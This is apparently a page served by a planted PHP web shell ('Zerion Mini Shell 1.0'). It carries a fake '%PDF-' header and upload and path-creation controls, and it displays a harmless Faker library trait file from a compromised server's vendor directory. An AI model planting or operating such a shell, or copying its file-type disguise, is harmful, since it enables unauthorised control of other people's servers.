%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/silvzytp/calling_code/vendor/fakerphp/faker/src/Faker/Extension/
Upload File :
Create Path :
Current File : //home/silvzytp/calling_code/vendor/fakerphp/faker/src/Faker/Extension/GeneratorAwareExtensionTrait.php

<?php

declare(strict_types=1);

namespace Faker\Extension;

use Faker\Generator;

/**
 * A helper trait to be used with GeneratorAwareExtension.
 */
trait GeneratorAwareExtensionTrait
{
    /**
     * @var Generator|null
     */
    private $generator;

    /**
     * @return static
     */
    public function withGenerator(Generator $generator): Extension
    {
        $instance = clone $this;

        $instance->generator = $generator;

        return $instance;
    }
}

Zerion Mini Shell 1.0